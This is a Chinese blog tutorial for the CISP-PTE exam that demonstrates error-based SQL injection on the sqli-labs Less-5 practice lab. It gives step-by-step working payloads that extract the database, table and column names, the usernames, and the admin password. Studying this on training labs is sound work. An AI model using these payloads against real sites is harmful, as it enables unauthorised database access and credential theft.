首页 > 数据库 >cisp-pte 备考攻略|0基础小白学习sql注入(六):报错注入

cisp-pte 备考攻略|0基础小白学习sql注入(六):报错注入

时间:2025-01-23 20:57:45浏览次数:3  
标签:pte 报错 --+ table 注入 where id select schema

例题:Less-5 Double Query- Single Quotes- String

知识点:

报错注入的原理就是搭建一个恒成立的

常见的报错注入
(1)、

大体架构为:

$a=想要执行的语句

$b=floor(rand(0)*2)

select count(*),concat($a$b)

随便输入一个id=1,页面发生变化,说明存在数据交互

输入?id=1'页面如下,说明存在sql注入漏洞、且闭合方式为单引号

利用order by查一下列数

分别输入

?id=1' order by 3 --+

 

?id=1' order by 4 --+

可知现实列数为三

利用union select查找会显列数

输入

?id=1' union select 1,2,3 --+

页面显示

说明没有回显列,因而可以尝试报错注入

输入

?id=-1' union select 1,count(*),concat((select database()),floor(rand(0)*2)) as a from information_schema.tables group by a --+

触发了唯一索引重复错误,获取数据库名security

下面就是流程化查询工作啦

输入

?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema = 'security'),floor(rand(0)*2)) as a from information_schema.tables where table_schema = 'security' group by a --+

 显示不止一行,那就只能一行一行地显示了,使用 limit 0,1来一个个显示(提问为啥不能使用group_concat,因为:输入以后页面不显示,说明超过过字符长度了)

因此依次输入:

?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),floor(rand(0)*2)) as a from information_schema.tables where table_schema = 'security' group by a --+
?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),floor(rand(0)*2)) as a from information_schema.tables where table_schema = 'security' group by a --+
?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema = 'security' limit 2,1),floor(rand(0)*2)) as a from information_schema.tables where table_schema = 'security' group by a --+
?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema = 'security' limit 3,1),floor(rand(0)*2)) as a from information_schema.tables where table_schema = 'security' group by a --+

 获得表名分别为emails、referers、uagents、users

user明显信息更加敏感,因此继续开始查询。依次输入

?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2)) as a from information_schema.columns where table_name = 'users' group by a --+

 获得列名:id、username、password

?id=-1' union select 1,count(*),concat((select username from users limit 0,1),floor(rand(0)*2)) as a from users group by a --+
?id=-1' union select 1,count(*),concat((select username from users limit 0,1),floor(rand(0)*2)) as a from users group by a --+

获得: Dumb、Angelina、Dummy、secure、stupid、superman、batman、admin、admin1、admin2、admin3、dhakkan、admin4、

太多了,就查一个admin 的密码吧

?id=-1' union select 1,count(*),concat((select password from users where username ='admin'),floor(rand(0)*2)) as a from users group by a --+

获得密码:adimin

完工!这段其实挺难的,我暂时也只是会敲了而已,还需要在后续的学习中去理解。

标签:pte,报错,--+,table,注入,where,id,select,schema
From: https://blog.csdn.net/weixin_60113601/article/details/145066918

相关文章

  • 关于Ubuntu24.04安装一些库导致系统报错无法使用
    今天在Ubuntu24.04Lts上安装fuse库的时候直接崩溃了系统,昨天就崩溃了,还以为是c++的问题,今天留意了一下,是安装JetbrainsToolbox的时候提示缺少libfuse.so.2库来运行,所以找了一个教程说让我安装fuse,可能是Linux版本的关系,这里只需要执行sudoaptinstalllibfuse2就可以了。如果安......
  • Vue编程式路由跳转多次执行报错
    文章目录问题描述路由跳转的两种形式问题原因解决方案1.传递回调函数2.重写`push`方法(推荐)代码实现细节解析1.为什么不能直接使用`this.originalPush()`?2.`this`的指向是什么?3.`call(this)`的作用4.异常捕获的意义其他注意事项总结问题描述在使用Vue......
  • Vue.js 渐进式增强:如何逐步为传统项目注入活力
    Vue.js是一个渐进式框架,这意味着你可以将它逐步引入到现有项目中,而无需彻底重构。渐进式增强特别适合那些已经在使用传统服务器渲染框架(如PHP、Django、Laravel)的项目,为它们增加动态交互功能。本篇教程将介绍如何将Vue.js无缝集成到传统项目中。什么是渐进式增强?渐进式......
  • 初级黑客入门之sql注入报错分享(mssql+mysql),黑客技术零基础入门到精通实战教程!
    mysql溢出类bigint当超过mysql的整形的时候,就会导致溢出,mysql可能会将错误信息带出。这里user()是字母默认为0取反以后+1可能就会导致异常。报错特征BIGINTUNSIGNEDvalueisoutofrangein不需要函数,直接让他报错出来select%20(~(select%20\*%20from(select%2......
  • paddleocr报错解决方案汇总
    一、安装注意事项python不要超过10,尽量选8/9/10二、快速开始参考官方文档:https://paddlepaddle.github.io/PaddleOCR/main/ppstructure/quick_start.html#221一般都要带方向识别,这里复制其中一段代码,防止官网挂掉importosimportcv2frompaddleocrimportPPStructure,dr......
  • Spring 依赖注入详解:创建 Bean 和注入依赖是一回事吗?
    1.什么是依赖注入(DependencyInjection,DI)?依赖注入是SpringIoC(控制反转)容器的核心功能。它的目标是将对象的依赖(如其他对象或配置)从对象本身中剥离,由容器负责注入这些依赖。关键概念:依赖:一个对象需要的其他对象或资源。例如,UserController需要UserService。注入:Sprin......
  • hutool工具JSONUtil序列化对象和反序列化到Map的时候,null的值因为JSONNull无法转换而
    importcn.hutool.json.JSONNull;importcom.fasterxml.jackson.core.JsonGenerator;importcom.fasterxml.jackson.databind.JsonSerializer;importcom.fasterxml.jackson.databind.SerializerProvider;importorg.springframework.boot.jackson.JsonComponent;import......
  • Postman测试接口报错401,token,jwt
    postman中请求报错401(token,jwt)1.报错1.1报错1在访问需要登录才能访问的接口时,即使已经登录了,也依然报错据我学习心得,是因为没有添加token请求头用户登录成功后,系统会自动下发JWT令牌,然后在后续的每次请求中,浏览器都需要在请求头header中携带到服务端,请求头的名称为Au......
  • 十大漏洞-sql注入漏洞介绍
    前言在网络安全的复杂体系中,SQL注入漏洞是最为常见且危害巨大的漏洞之一。它犹如隐藏在暗处的窃贼,悄无声息地窃取、篡改甚至破坏数据库中的关键信息,对个人、企业乃至整个网络生态都可能造成严重影响。本文将深入探讨SQL注入漏洞定义SQL注入漏洞是攻击者通过在目标应用程......
  • 升级到MySQL 8.4,MySQL启动报错:io_setup() failed with EAGAIN
    在升级到MySQL8.4后,许多用户在启动数据库时遇到了一种常见错误:“io_setup()failedwithEAGAIN”。本文将深入探讨该错误的原因,并提供详细的解决方案。错误分析错误描述当你启动MySQL时,可能会在日志文件中看到以下错误信息:io_setup()failedwithEAGAIN​  这个......